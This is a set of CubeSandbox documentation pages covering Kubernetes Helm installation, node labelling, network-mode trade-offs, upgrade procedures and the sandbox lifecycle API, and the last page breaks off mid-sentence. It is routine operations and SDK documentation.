\ /data/log/Cubelet /data/log/CubeShim /data/log/CubeVmm \ /usr/local/services/cubetoolbox /var/lib/cube-node-bootstrap /tmp/cube \ /data/cubelet-xfs.img ``` PVM kernels also need package removal, GRUB changes, and reboot. You can also use the Chart’s `deploy/kubernetes/chart/scripts/cleanup-node-host.sh`. Whether PVC/PV are deleted depends on the StorageClass `reclaimPolicy` (TKE’s `cube-cbs-wffc` is commonly `Delete`; `Retain` leaves them behind). *** ## Image builds ### Building arm64 ```bash ONE_CLICK_ARCH=arm64 \ PUSH=1 REGISTRY= IMAGE_TAG=v0.7.2 \ ./deploy/kubernetes/images/build-cube-images.sh ``` Needs an arm64 machine or buildx multi-arch. ### Rebuild only one image Yes. Pass image names to the script (unnecessary downloads / `SOURCE_REF` exports are skipped as needed): ```bash ./deploy/kubernetes/images/build-cube-images.sh cubelet ./deploy/kubernetes/images/build-cube-images.sh cubelet cube-shim ``` Full list: `./deploy/kubernetes/images/build-cube-images.sh --help`; details in [`images/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/deploy/kubernetes/images/README.md). If the release package is already unpacked, point `PACKAGE_DIR_OVERRIDE` at that directory to avoid re-downloading. For local development you can also use `LOCAL_BIN=1` / `--local` to layer `_output/bin` into the image. ### Old curl reports unknown `--retry-all-errors` The current script **does not** add `--retry-all-errors` by default; it only enables it when `CURL_RETRY_ALL_ERRORS=1` is set explicitly and the local curl supports that flag. Usually you can ignore this; if an old fork hard-coded the flag, remove it or upgrade curl. *** ## Question template ```text Chart version: K8s version: (kubectl version) Environment: (TKE / self-managed / k3s / single-node …) Relevant values snippet: (redact passwords) Failing component: Pod name + kubectl describe + kubectl logs kubectl -n cube-system get pods -o wide ``` *** ## Next steps * [Helm Install](./install.md) * [Architecture](./architecture.md) * [Upgrade](./upgrade.md) --- --- url: https://cubesandbox.com/guide/kubernetes/install.md --- # Helm Install Complete a Helm install of CubeSandbox on an existing Kubernetes cluster. ## Install process ```text ① Cluster ready ↓ ② Label nodes (and role taints) ↓ ③ Prepare values ↓ ④ helm upgrade --install ↓ ⑤ Verify ``` ## 1. Prerequisites | Item | Requirement | | --- | --- | | Kubernetes | **≥ v1.24+** | | Tools | `kubectl`, Helm v3.10+ | | Storage | A usable StorageClass in the cluster | | Image pull | Nodes can reach the Internet to pull images | ### Node roles CubeSandbox uses **labels** to distinguish two kinds of nodes: | Role | Suggested size | Purpose | | --- | --- | --- | | **Control-plane node** | ≥ 1; production suggests 3+; ≥ 4C8G | Runs Cube's control-plane components | | **Compute node** | ≥ 1; suggest 16C32G+ | Runs sandboxes | ::: tip Recommendation Use dedicated machines for compute nodes. ::: ::: details What is PVM? (Technical background) PVM (Pagetable-based Virtual Machine) is a **pagetable-based nested virtualization framework** built on top of KVM. Unlike traditional nested virtualization, PVM does not rely on the host hypervisor exposing Intel VT-x / AMD-V hardware virtualization extensions to the guest. Instead, it performs privilege-level switching and memory virtualization inside the guest kernel layer through shared-memory regions and shadow page tables, and is fully transparent to the host hypervisor. PVM was originally proposed in the paper [*PVM: Efficient Shadow Paging for Deploying Secure Containers in Cloud-native Environment*](https://dl.acm.org/doi/10.1145/3600006.3613158). Tencent Cloud has since done substantial feature and performance work on top of it, fixed many bugs, and open-sourced the upstreamed kernel changes in [OpenCloudOS Kernel](https://gitee.com/OpenCloudOS/OpenCloudOS-Kernel.git) for the community. Over the years we have deployed a large fleet of PVM instances in Tencent Cloud production, and its reliability has been validated in production. ::: *** ## 2. Confirm the cluster is ready ```bash kubectl get nodes -o wide kubectl get storageclass # Must not be empty helm version --short # ≥ v3.10 ``` Note the node names you will use later. Confirm at least one node for the control plane and another for the compute plane. ## 3. Label nodes and roles ### 3.1 Multi-node (control / compute split, recommended) Under normal circumstances, add at least 2 machines to Kubernetes and deploy with the control plane and compute plane separated: Run the following commands to label the relevant nodes: ```bash # Control-plane nodes kubectl label nodes cube.tencent.com/cube-control=true --overwrite # Compute nodes (run sandboxes) kubectl label nodes cube.tencent.com/cube-node=true --overwrite # If the compute node is not a bare-metal server, you also need to apply this label, and PVM will be installed automatically kubectl label nodes cube.tencent.com/allow-pvm-bootstrap=true --overwrite ``` Set role taints (to keep unrelated workloads off these nodes): ```bash # Optional # kubectl taint nodes cube.tencent.com/control=true:NoSchedule --overwrite # Required for compute nodes kubectl taint nodes cube.tencent.com/compute=true:NoSchedule --overwrite ``` ### 3.2 Single-node (not recommended) ::: tip Hint For a single-node setup, we recommend deploying via [Quick Start](../quickstart.md) instead of Kubernetes. ::: ::: details Single-node labels and taints If your Kubernetes cluster has only one machine, you can try the following labels and taints (not recommended): ```bash export NODE= kubectl label nodes "$NODE" \ cube.tencent.com/cube-control=true \ cube.tencent.com/cube-node=true \ cube.tencent.com/allow-pvm-bootstrap=true \ --overwrite kubectl taint nodes "$NODE" cube.tencent.com/control=true:NoSchedule --overwrite kubectl taint nodes "$NODE" cube.tencent.com/compute=true:NoSchedule --overwrite ``` ::: ## 4. Prepare the values file Create the configuration file: ```bash cp deploy/kubernetes/chart/runtime-values.example.yaml runtime-values.yaml ``` Edit it to fit your needs. At minimum, fill in the following: ```yaml cubeProxy: advertiseIP: "10.0.1.10" domain: "cube.app" tls: mode: selfSigned # Trial; production: existingSecret / certManager # Required mysql: host: "" # Empty = use built-in MySQL password: "replace-me-mysql-password" rootPassword: "replace-me-mysql-root-password" redis: host: "" password: "replace-me-redis-password" ``` ### More configuration **Control-plane PVC configuration** See [8.1 Control-plane PVC configuration](#_8-1-control-plane-pvc-configuration). **Compute node data disk** Cube writes data to the host at `/data/cubelet`, which must be an **XFS** filesystem. For a smoother first-time experience, we create a 25 GB **loopback image file** and mount it by default. For production deployments, or to adjust related configuration, see [8.2 Compute node data disk configuration](#_8-2-compute-node-data-disk-configuration). **Compute node networking** ::: warning Decide before you deploy The default **host network** keeps sandbox devices in the host netns across `cube-node` Pod recreation; drain remains the supported path until cubelet-restart survival is live-validated. On the Pod network (`cubeNode.hostNetwork: false`) the Pod **must not be recreated** while sandboxes run — all sandbox networking on that node breaks, with no self-healing. Details and trade-offs (including NetworkPolicy): [8.3 cube-node networking and Pod recreation](#_8-3-cube-node-networking-and-pod-recreation). The host-network default is new and not yet validated against every CNI / admission configuration. A `hostNetwork` Pod bypasses CNI IPAM and is not selectable by NetworkPolicy; on an eBPF CNI (e.g. Cilium) the CNI's own eBPF programs may conflict with the cubevs hooks on the host interface, and a cluster enforcing the `restricted` Pod Security Admission standard rejects `hostNetwork` Pods. **Validate the default in a test cluster first** before relying on it in production; if your cluster cannot allow `hostNetwork`, set `cubeNode.hostNetwork: false` (see [8.3](#_8-3-cube-node-networking-and-pod-recreation)). ::: ## 5. Helm install ::: tip Users in Mainland China Add `-f deploy/kubernetes/chart/values-cn.yaml` to whichever install command you use below to pull images from the China registry. ::: Run the following commands from the repository root to complete the install: Because this process downloads many resources and runs initialization actions, it can take some time depending on your machine performance and network conditions. Standard multi-node deployment: ```bash # Standard multi-node helm upgrade --install cube ./deploy/kubernetes/chart \ -n cube-system \ --create-namespace \ -f runtime-values.yaml \ --wait \ --timeout 90m ``` Tencent Cloud TKE: ```bash helm upgrade --install cube ./deploy/kubernetes/chart \ -n cube-system \ --create-namespace \ -f deploy/kubernetes/chart/values-tke.yaml \ -f runtime-values.yaml \ --wait \ --timeout 90m ``` Single-node trial: ```bash helm upgrade --install cube ./deploy/kubernetes/chart \ -n cube-system \ --create-namespace \ -f deploy/kubernetes/chart/values-single-node.yaml \ -f runtime-values.yaml \ --wait \ --timeout 90m ``` ## 6. Verify the deployment ```bash # 1) Are Pods Ready? kubectl get pods -n cube-system -o wide # 2) Have compute nodes registered with CubeOps? kubectl exec -n cube-system deploy/cube-cubemastercli -- \ sh -lc 'cubeopscli --address "$CUBEOPSCLI_ADDRESS" --port "$CUBEOPSCLI_PORT" node list' # 3) Built-in end-to-end tests (a few minutes) helm test cube -n cube-system --timeout 20m --logs ``` Expect: * `cube-node` Ready count = number of nodes labeled `cube-node=true` * All services in the `cube-system` namespace are Ready * `helm test` passes **Access the Cube WebUI:** ```bash kubectl -n cube-system port-forward svc/cube-webui 12088:12088 # Open http://127.0.0.1:12088 in your browser ``` ## 7. Uninstall ```bash helm uninstall cube -n cube-system kubectl delete namespace cube-system ``` Uninstall **does not** automatically clean up: * Cube labels / role taints on nodes * Compute-node hostPath data * PVM host kernel changes ## 8. Advanced configuration ### 8.1 Control-plane PVC configuration * Default: CubeMaster / MySQL / Redis / MinIO use the cluster **default StorageClass** * To specify an SC: set `persistence.storageClassName: ` in `runtime-values.yaml` * Single-node / no CSI: switch to hostPath (see comments in `runtime-values.example.yaml`) ### 8.2 Compute node data disk configuration For **production deployments**, we recommend provisioning a dedicated data disk for each compute node, formatting it as XFS, and mounting it under `/data/cubelet`. This gives the best performance and stability. Then configure `runtime-values.yaml`: ```yaml bootstrap: nodeInit: dataCubelet: loopback: enabled: false ``` If your nodes have no dedicated data disk, by default we mount a 25 GB loop device at `/data/cubelet` during compute-node initialization. ::: warning Only affects the "first" creation By default, the disk image file is created automatically only when **`/data/cubelet-xfs.img` does not exist**. Subsequent config changes **do not** auto-expand. To resize, manual steps in a maintenance window are required. ::: To customize the data disk configuration before install: | values path | Default | Description | | --- | --- | --- | | `bootstrap.nodeInit.dataCubelet.loopback.enabled` | `true` | When `true`, bootstrap creates and mounts a loopback XFS on the node | | `bootstrap.nodeInit.dataCubelet.loopback.imagePath` | `/data/cubelet-xfs.img` | Path to the image file | | `bootstrap.nodeInit.dataCubelet.loopback.size` | `25G` | Size when the image is **first created** (`truncate -s`) | ```yaml bootstrap: nodeInit: dataCubelet: loopback: enabled: true size: 200G # Size to capacity plan; must be less than free space on the filesystem holding the image ``` ### 8.3 cube-node networking and Pod recreation ::: tip In one sentence `cube-node` runs on the **host network** by default, so recreating the Big Pod no longer changes the network namespace sandbox networking lives in. Drain remains the supported compute-plane path until cubelet-restart survival is live-validated — see [Upgrade](./upgrade.md). On the Pod network (`cubeNode.hostNetwork: false`) it **must not be recreated**, because recreation breaks network connectivity for **all sandboxes on the node (inbound and outbound) with no self-healing**. ::: #### Why the network mode decides this Sandbox network devices (TAP devices) and the cubevs hooks live in the network namespace of the `cube-node` Pod, so the Pod's network mode decides what a recreation does to them: | Item | Description | | --- | --- | | Trigger | Anything that recreates the Pod: DaemonSet template change, image bump, manual `kubectl delete pod`, … | | Host network (default) | The netns is the host's and does not change across recreation, so devices stay. Survival through a cubelet restart is not live-validated — drain until it is (see [Upgrade](./upgrade.md)) | | Pod network (`hostNetwork: false`) | The Pod netns is destroyed: **all sandboxes on the node** lose network connectivity — **both inbound and outbound** — with **no self-healing**. The only recovery is to destroy and recreate the affected sandboxes | Compute-plane upgrades are affected for the same reason; see [Upgrade](./upgrade.md). #### Default: host network `cubeNode.hostNetwork` defaults to `true`; a fresh install needs nothing. What to check when you keep it: | Item | Description | | --- | --- | | DNS | `dnsPolicy` becomes `ClusterFirstWithHostNet` automatically, so in-cluster DNS keeps resolving | | Port conflicts | cubelet (9998 / 9999 / 9966) and CubeS3lvol (when enabled) bind on the host; `cube-node-init` fails fast if another process holds one (`bootstrap.nodeInit.checkHostPorts`). CubeEgress ports are not in this check — verify them yourself if it is enabled. Cubelet ports are unauthenticated — firewall them like kubelet's 10250 | | NetworkPolicy | Cannot govern sandbox traffic; see below | | Monitoring / firewalls | Re-point anything keyed on the Pod IP / Pod CIDR at the node IP instead | | CNI / admission | A `hostNetwork` Pod bypasses CNI IPAM and is not selectable by NetworkPolicy; an eBPF CNI (e.g. Cilium) may conflict with the cubevs hooks on the host interface; `restricted` Pod Security Admission rejects `hostNetwork` Pods. This default is new — validate it in a test cluster first, or set `cubeNode.hostNetwork: false` | #### Opting into the Pod network Set `cubeNode.hostNetwork: false` when Kubernetes NetworkPolicy (e.g. "can sandboxes access this Service") must govern sandbox traffic. Everything else about the Pod network is a caveat: * a `cube-node` Pod recreation breaks networking for every sandbox on the node; * the guest MTU has to fit the CNI overhead — `cubeNode.network.mtu: auto` lowers it to the detected interface. Changing the value on an existing release recreates every Big Pod, so a pre-upgrade Hook gates it: see [Upgrade · changing the network mode](./upgrade.md#changing-the-network-mode). ::: info Further work: PR #1189 (not merged; for reference only) For NetworkPolicy over sandbox traffic to in-cluster Services / Pods *while* staying on the host network, and for a fully in-place `cube-node` replacement, see [PR #1189](https://github.com/TencentCloud/CubeSandbox/pull/1189): * Only traffic destined for the cluster CIDRs is forwarded through a node-local **EgressProxy Pod** and SNAT'd to the Proxy Pod IP, so it is governed by your own NetworkPolicies; all other traffic keeps the normal route. ::: *** ## FAQ quick reference | Symptom | What to do | | --- | --- | | Control-plane Pods stay Pending | By default nodes need `cube-control=true` (or your custom nodeSelector); also check taints / tolerations | | `cube-node` DESIRED=0 | Are compute nodes labeled `cube-node=true`? | | Helm reports `CHANGE_ME_*` / validation failure | Check that passwords and `placement` in `runtime-values.yaml` are complete | | First install is slow / nodes reboot | Expected when PVM is enabled; wait for fingerprints to be ready and gates cleared, then check bootstrap / Big Pod | More detail in the other docs in this directory: * [Architecture](./architecture.md) * [Upgrade](./upgrade.md) * [FAQ](./faq.md) *** ## Next steps * [Kubernetes Deployment Overview](./index.md) * [Architecture](./architecture.md) * [Upgrade](./upgrade.md) * [FAQ](./faq.md) * [Connect Clients to the Cluster](../multi-node-deploy.md#connect-clients-to-the-cluster) * [WebUI Console](../webui.md) * [Authentication](../authentication.md) --- --- url: https://cubesandbox.com/guide/kubernetes/upgrade.md --- # Upgrade The goal in one sentence: **the control plane can roll in an orderly fashion; compute-plane upgrades recreate the `cube-node` Big Pod, which is safe for sandbox networking on the default host network and destructive on the Pod network.** *** ::: warning Preview version warning The compute plane uses native `apps/v1` DaemonSets: image / resource / template changes **delete and recreate** the Big Pod, and the cubelet process restarts. What that costs the running sandboxes depends on the Pod's network mode: * **Host network (default)**: tap devices and cubevs hooks live in the host netns and survive recreation. Drain (isolate ≥ 60s, destroy sandboxes) remains the supported path until sandbox survival through a cubelet restart is live-validated. See [Node Operations](../node-operations.md). * **Pod network** (`cubeNode.hostNetwork: false`): recreation destroys the netns and breaks networking for every sandbox on the node, with no self-healing. **Drain is mandatory.** If you must stay on the Pod network for now, the alternative remains a Kubernetes plugin you are familiar with to achieve an “in-place upgrade” — update container images without recreating the Pod. After deploying the current version, carefully evaluate changes and test before upgrading further. **These issues will be addressed in later versions. You are welcome to try the K8s deployment path and report issues and suggestions via Issues.** ::: ## Why the network mode decides what a recreate costs CubeSandbox’s network (cubevs) hooks attach to the Pod’s network interface, and sandbox tap devices live in the same netns as the Pod. On the Pod network, recreating the Pod destroys that netns and breaks sandbox networking; on the host network the netns is the host's and does not change across recreation, so the devices survive. See [Install · cube-node networking and Pod recreation](./install.md#_8-3-cube-node-networking-and-pod-recreation) for the trade-offs, and [PR #1189](https://github.com/TencentCloud/CubeSandbox/pull/1189) for the full in-place replacement design (not yet merged). ## Changing the network mode `cubeNode.hostNetwork` is a Pod-template field, so changing it recreates every Big Pod, and the sandbox dataplane moves between netns. It is gated: a `pre-install` / `pre-upgrade` / `pre-rollback` Hook (`cube-node-hostnet-preflight`) refuses the change while the live DaemonSet's mode differs from the rendered one. The failure message gives you both ways out: 1. **Keep the current mode** — set `cubeNode.hostNetwork` to the live value in your values file. 2. **Adopt the new mode** — isolate each compute node, wait ≥ 60s, destroy its sandboxes (see [Node Operations](../node-operations.md)), then set: ```yaml cubeNode: hostNetworkChangeAck: true # remove it once the upgrade has gone through ``` A release installed before the host-network default usually has no `cubeNode.hostNetwork` in its values: a routine tag-bump upgrade then renders the new default and trips this gate. Pin `cubeNode.hostNetwork: false` to keep the old behavior through such upgrades. The acknowledgement is only read by the Hook — it does not verify the drain, the flag is your certification — and it is not part of the Pod template, so setting or removing it never recreates a Pod. Two notes around a switch: * node-init re-runs on already-ready nodes (prepGeneration was bumped) and stops at a host port conflict, leaving cubelet unstarted there. * `helm rollback` / `--atomic` are gated only when the target revision ships this Hook; older targets are unguarded — drain first. They replay the target's stored values, so to flip the mode back use `helm upgrade` with `hostNetworkChangeAck: true`, not `helm rollback`. ## What are you upgrading, and which workload do you change? The compute plane is split into four lines. For day-to-day upgrades, **only change the image tags of the matching components**—avoid casually changing Big Pod env / volumeMount / container lists (those also recreate the Pod). | What you want to upgrade | Which workload | What to change in values | Will it recreate the Big Pod? | | --- | --- | --- | --- | | cubelet / wait-node-prep / slot images or resources | **Big Pod** (`cube-node`) | `images.cubelet`, etc. | **Yes** (see warning above) | | shim / kernel / guest artifacts | **Installer** | `images.cubeShim`, etc. | No (Big Pod template unchanged) | | node-init / node preflight logic | **Bootstrap** | `images.nodeInit` | No (Big Pod template unchanged) | | PVM host kernel-swap scripts | **cube-node-pvm** | `images.pvmHostBootstrap` | No (but the node may reboot) | ```text Upgrade runtime components → only change Big Pod related images.*.tag (recreates Big Pod) Upgrade toolbox artifacts → only change Installer related images.*.tag Upgrade node preflight → only change images.nodeInit.tag Upgrade PVM kernel swap → only change images.pvmHostBootstrap.tag ``` *** ## Day-to-day upgrade (recommended path) 1. In your local `runtime-values.yaml` (the same values file used at first install), update the image **tags** you want to bump, for example: ```yaml images: cubelet: tag: v0.7.2 # Add others only if you need them together, e.g.: # cubeShim: # tag: v0.7.2 ``` Only change the keys you truly need to bump; leave other images alone. Full key names are in the [appendix](#appendix-image-key-cheat-sheet) at the end. 2. Run the upgrade with the same `-f` combination used at install: **⚠️ Warning:** In production, canary-upgrade node by node and component by component. A full-fleet upgrade is very dangerous! ::: warning Preview version warning Before bumping Big Pod runtime images, the upgrade recreates the Big Pod. Drain first (see above); on the Pod network it is mandatory. ::: ```bash helm upgrade cube ./deploy/kubernetes/chart -n cube-system \ -f runtime-values.yaml # For TKE / single-node, continue to layer the same values-tke.yaml / values-single-node.yaml used at first install ``` ### How do you confirm the upgrade succeeded? ```bash # Big Pod is recreated: UID changes (on the host network the PodIP is the node # IP and does not); check the new Pod is Ready and the node re-registered kubectl get pods -n cube-system -l app.kubernetes.io/component=cube-node -o wide kubectl get daemonset -n cube-system cube-node # Control-plane Deployments roll as usual kubectl get deploy -n cube-system kubectl rollout status deploy/cube-master -n cube-system ``` Expect: * Control-plane Pods finished rolling per Deployment strategy (`cube-master` uses Recreate; other CP Deployments use RollingUpdate) * Compute: matching DaemonSet Pods run the new images and are Ready * If you bumped Big Pod runtime on a **Pod-network** node: existing sandboxes there were interrupted; new sandboxes can be created; the node has re-registered with CubeOps *** ## Upgrade order During the cube-master → cube-ops migration, components target different endpoints. Apply upgrades in this order to keep the cluster healthy during the cutover: 1. **Bring CubeOps up first (and reachable).** New cubelets with `meta_server_endpoint` pointing at cube-ops fail-fast if the address is unreachable, so cube-ops must be Ready before any cubelet is upgraded. 2. **Bring CubeMaster up after CubeOps.** CubeMaster fails to start when `cube_ops_addr` is set and cube-ops is down, so cube-ops must be reachable before cube-master boots. 3. **Do not mix old and new cubelets in one cluster during the cutover.** Old cubelets report to cube-master `:8089`; new cubelets report to cube-ops `:3010`. A mixed fleet reports inconsistent node state. Roll cubelets per node, or take the entire compute plane down before upgrading. 4. **Only after the above** can you roll `cube-master`, `cube-api`, and compute nodes in the order you prefer. ## Red lines: these operations also recreate the Big Pod Any of the following **recreates** the Big Pod → the Pod UID changes; on the Pod network the netns is destroyed and existing sandboxes interrupt. Do them only in a planned maintenance window. | Do not do casually | Why | | --- | --- | | Change `cubeNode.hostNetwork` | Moves the sandbox dataplane across netns; gated by the pre-install/pre-upgrade/pre-rollback Hook | | Add/remove Big Pod containers (including changing slot count) | Changes the Pod template; the DaemonSet recreates the Pod | | Change volumeMount / securityContext / container name / env directly | Same | | Change `wait-node-prep` env / mount (bumping image also recreates) | wait is an initContainer; any template change recreates | | Manually delete the Big Pod | Equivalent to rebuilding the data plane | | Stuff artifact installs into the Big Pod | Breaks the split of duties; artifacts must go through Installer | Also: `cubeNode.env`, `cubeNode.podAnnotations`, network-related env, `global.timezone`, and `cubeEgress.enabled` also change the Pod template — **not silent day-to-day upgrade items**. *** ## Special cases ### A. Changing PVM kernel pattern / boot args (will reboot) For day-to-day bumps of only the `images.pvmHostBootstrap` image when the fingerprint still matches, the `pvm-not-ready` gate is generally **not** re-applied. If you **intentionally change** `bootArgs` / kernel pattern (expecting the fingerprint to change), apply an ops gate **before** `helm upgrade` (`value=maintenance`, different from the Hook’s automatic `true` — old holds do not clear maintenance by default): ```bash # 1. Confirm CNI and kube-proxy tolerate this NoSchedule taint kubectl taint node \ cube.tencent.com/pvm-not-ready=maintenance:NoSchedule --overwrite # 2. Update bootArgs / kernel-related config in runtime-values.yaml, then upgrade helm upgrade cube ./deploy/kubernetes/chart -n cube-system \ -f runtime-values.yaml ``` For example in values: ```yaml bootstrap: pvmHostKernel: bootArgs: "nopti pti=off " ``` After the node recovers, only a new PVM init clears maintenance when the live fingerprint matches. Any step failure must not reboot. Details: [Architecture · PVM](./architecture.md#pvmcube-node-pvm). To disable PVM on a node: remove that node’s `allow-pvm-bootstrap` label. **Do not** expect setting only `cubeNode.pvmGuestKernel.enabled=false` to quietly switch a node already running PVM back to bm. ### B. Clean uninstall and reinstall (last resort) ```bash helm uninstall cube -n cube-system sudo ./deploy/kubernetes/chart/scripts/cleanup-node-host.sh helm upgrade --install cube ./deploy/kubernetes/chart \ -n cube-system -f runtime-values.yaml ``` This removes Chart-managed objects; hostPath / kernel changes need the script and platform runbooks separately. *** ## Appendix: image key cheat sheet Use this when you need “which image key maps to which container”: | values key | Workload | Container | | --- | --- | --- | | `images.cubelet` | Big Pod | `cubelet` (includes the embedded network runtime) | | `images.waitNodePrep` | Big Pod / Bootstrap | Big Pod `wait-node-prep` init; Bootstrap write-ready also uses it | | `images.cubeShim` | Installer | `cube-shim-install` | | `images.cubeKernel` | Installer | `cube-kernel-install` | | `images.cubeGuest` | Installer | `cube-guest-install` | | `images.nodeInit` | Bootstrap | `wait-pvm-host` / `cube-node-init` | | `images.pvmHostBootstrap` | cube-node-pvm | `pvm-host-bootstrap` / hold reconcile | After changing policy such as `bootArgs` / `prepGeneration`, if you worry about accidentally touching the Big Pod template, run: ```bash sh deploy/kubernetes/chart/scripts/test-big-pod-inplace-guard.sh ``` This guard requires **zero diff** on the Big Pod Pod template for those policy changes (so unrelated config bumps do not trigger recreate). *** ## Next steps * [Architecture](./architecture.md) * [Helm Install](./install.md) * [FAQ](./faq.md) --- --- url: https://cubesandbox.com/guide/lifecycle.md --- # Sandbox Lifecycle A sandbox is the core runtime unit of Cube-Sandbox. This page covers a sandbox's full lifecycle — from creation to teardown — and how to let the platform manage it automatically to save resources. > The SDK shape mirrors [e2b](https://e2b.dev/docs/sandbox) so existing e2b code can port with minimal changes. ## State Model A sandbox is always in exactly one of these states: | State | Meaning | |--------------|------------------------------------------------------------------------------------------------| | `running` | Active. Real CPU/memory in use. Accepts requests and executes code. | | `pausing` | Platform is taking the VM snapshot (transient). | | `paused` | Snapshot persisted to disk. **Zero** CPU/memory cost. Full state preserved. | | `resuming` | Platform is restoring the snapshot (transient). | | `terminated` | Killed (`kill()`) or reaped after `on_timeout="kill"`. Cannot be brought back. | Two settings drive transitions: * **`timeout`** (optional): seconds of **idle** time before a timeout fires (e2b uses milliseconds via `timeoutMs`; Cube uses seconds). When omitted, the server decides — the SDK no longer injects a hard-coded default. * **`on_timeout`**: what happens at timeout — `"kill"` (default; destroy) or `"pause"` (snapshot for later resume). `timeout` values (e2b-aligned): | Value | Behavior | |-------|----------| | omitted | Server default idle TTL; if the server has no positive default, the sandbox **never** times out | | `NEVER_TIMEOUT` (`-1`) | **Never** time out — no idle reclamation | | `0` | **Immediate** timeout — reclaimed on the first idle sweep | | positive integer `N` | Timeout after **N** seconds of idle time | Go: `cubesandbox.NeverTimeout`; Python: `from cubesandbox import NEVER_TIMEOUT`. ``` ┌──────────────────────────────────────┐ │ │ create() ┌────▼────┐ timeout & on_timeout=pause ┌─────────┐ ───────────────►│ running │ ──────────────────────────────►│ paused │ │ │◄──────── connect() or │ │ └──┬────┬─┘ auto_resume-triggered req └──┬────┬─┘ │ │ │ │ │ │ timeout & on_timeout=kill │ │ timeout & on_timeout=kill │ └────────────────┐ │ └──────────────┐ │ ▼ │ ▼ │ ┌────────────┐◄────────────┘ │ │ terminated │ │ └──────▲─────┘ │ │ │ kill() │ kill() └──────────────────────┘ ``` ## Create ```python from cubesandbox import Sandbox # Create a sandbox that auto-destroys after 60 seconds of idle. # (Default on_timeout is "kill".) sandbox = Sandbox.create( template="", timeout=60, # seconds ) print(sandbox.sandbox_id) ``` Key parameters of `Sandbox.create()`: | Parameter | Description | |-------------------------|----------------------------------------------------------------------------------------------| | `template` | Template ID used to boot the sandbox; defaults to env var `CUBE_TEMPLATE_ID`. | | `timeout` | Optional idle timeout in seconds; see the table above | | `lifecycle` | Lifecycle policy — see [Platform-managed auto-pause / auto-resume](#platform-managed-auto-pause-auto-resume) below. | | `metadata` | Arbitrary key/value pairs stored on the sandbox; readable from the list / detail endpoints. | | `env_vars` | Environment variables injected into the sandbox process. | | `allow_internet_access` | Whether outbound internet is allowed; `network` provides finer-grained egress control. | > Cube doesn't impose hard wall-clock ceilings (24h Pro / 1h Base) the way hosted e2b does. When you omit `timeout`, the effective idle TTL is set by your cluster operator — see [Operational Notes](#operational-notes) below. ## Inspect a Running Sandbox ```python info = sandbox.get_info() print(info) # { # "sandboxID": "iiny0783cype8gmoawzmx-ce30bc46", # "templateID": "rki5dems9wqfm4r03t7g", # "state": "running", # "startedAt": "2026-06-17T12:34:56Z", # "endAt": "2026-06-17T12:39:56Z", # "metadata": {...} # } ``` `endAt` is the projected next-timeout instant given the current `timeout`. It is refreshed every time the sandbox receives a request (or when you call `set_timeout`, when available). Pausing does not cancel a finite idle deadline, so both detail and list APIs continue to return the same `endAt` while the sandbox is paused. For **never-timeout** sandboxes there is no deadline, so `endAt` is **omitted** from the response rather than reported as equal to `startedAt`. ## List Running Sandboxes ```python for sb in Sandbox.list(): print(sb["sandboxID"], sb["state"]) ``` ## Explicit Shutdown ```python sandbox.kill() ``` `kill()` is **irreversible**: unlike pause, a killed sandbox cannot be brought back, even when `lifecycle.on_timeout="pause"` was set — `kill()` always wins and discards the snapshot. ### Deleting a Paused Sandbox Both `kill()` and `DELETE /sandboxes/{sandboxID}` can delete sandboxes in the `running` or `paused` state. When deleting a `paused` sandbox, CubeSandbox does **not** resume or wake the MicroVM. It removes the paused tombstone, deletes the pause snapshot (catalog / CoW), and clears control-plane pause metadata. Plugin-volume refcounts were already adjusted at Pause time, so delete does not re-attach volumes only to tear them down again. The API remains synchronous: it returns `204 No Content` only after cleanup finishes. This path is not a resume: * It does not emit a `sandbox.resumed` lifecycle event. * It does not reset the idle timeout. * It does not require node capacity admission (there is no restore-before-delete). When deleting a `paused` sandbox, the following responses are possible: * **`204 No Content`**: The sandbox, pause snapshot, and related resources have been cleaned up. * **`503 Service Unavailable` + `Retry-After: 2`**: The sandbox is entering the paused state, or another lifecycle operation (pause / resume / delete) holds the sandbox lock. Wait at least two seconds before retrying. `Retry-After` is in seconds and tells the client when to retry. It does not mean that CubeSandbox continues deletion or starts a background retry. Existing `404 Not Found`, `408 Request Timeout`, and `running` sandbox delete behavior remain unchanged. ## Explicit Pause / Resume ```python sandbox.pause() # snapshot manually, free CPU/memory # ... time passes ... sandbox = Sandbox.connect(sandbox.sandbox_id, timeout=300) # restore and reset the idle timeout sandbox.run_code("print('back!')") # carry on as if never paused ``` `pause()` does **not** cancel idle reclamation. With the default `on_timeout="kill"`, a later-paused sandbox is still destroyed once idle exceeds `timeout`. To keep a paused sandbox, pass `timeout=NEVER_TIMEOUT`, omit `timeout` (with no positive server default), or set a high `timeout` — see [Behaviour](#behaviour) below. `connect(timeout=...)` can update the idle timeout whether the sandbox is already running or must first resume from a pause. For a running sandbox, a positive timeout only extends the deadline when the requested window is longer; use `set_timeout(...)` when you intentionally need to shorten it: | `connect(timeout=...)` | Effect | |---|---| | omitted / `None` | keep the current timeout | | `NEVER_TIMEOUT` (`-1`) | never time out after connecting | | `N > 0` | ensure at least N seconds remain; a running or paused sandbox keeps a longer existing deadline, otherwise the timeout starts a new N-second window after connecting | | `0` or `N < -1` | reject the request with HTTP 400 | When connecting a paused sandbox, the underlying Resume may return HTTP 409 while another lifecycle operation is still settling; retry after the sandbox reaches a stable state. The deprecated `resume(timeout=...)` keeps its legacy `0` behavior: | `resume(timeout=...)` | Effect | |---|---| | omitted / `None` | keep the current timeout | | `0` | keep the current timeout (use `set_timeout(0)` for immediate expiry) | | `NEVER_TIMEOUT` (`-1`) | never time out after resume | | `N > 0` | start a new N-second window from resume | | `N < -1` | reject the request with HTTP 400 | See [`examples/code-sandbox-quickstart/pause.py`](https://github.com/tencentcloud/CubeSandbox/blob/master/examples/code-sandbox-quickstart/pause.py) for a full demo. Cross-node Resume (S3 backend, `remote_status=ready`) is documented in [Cross-Node Snapshots](./cross-node-snapshot.md). ### CubeProxy cache after Resume Resume recreates the guest NIC / host ports and rewrites the Redis sandbox proxy map. CubeMaster then best-effort purges CubeProxy `local_cache` via `POST /admin/backend_cache/delete` so traffic does not keep routing to the pre-pause IP (same-node 504). For that purge to succeed, **CubeMaster and CubeProxy must share the same admin token**: * CubeMaster: `cubeproxy.admin_token` (sent as `X-Cube-Admin-Token`) * CubeProxy: `$cube_admin_token` in `nginx.conf` (see `CubeProxy/lua/admin_phase.lua`) If the token is set on only one side, or the values differ, cache purge returns **403**, Redis is still correct, but CubeProxy may serve a stale cached backend until the entry expires. Align the token in deploy / Helm values whenever Resume is used. ## Platform-managed Auto-pause / Auto-resume Most agent workloads aren't continuously busy: the user types code → the model thinks → the sandbox executes → it sits idle until the next turn. Auto-pausing during the idle stretch and **transparently 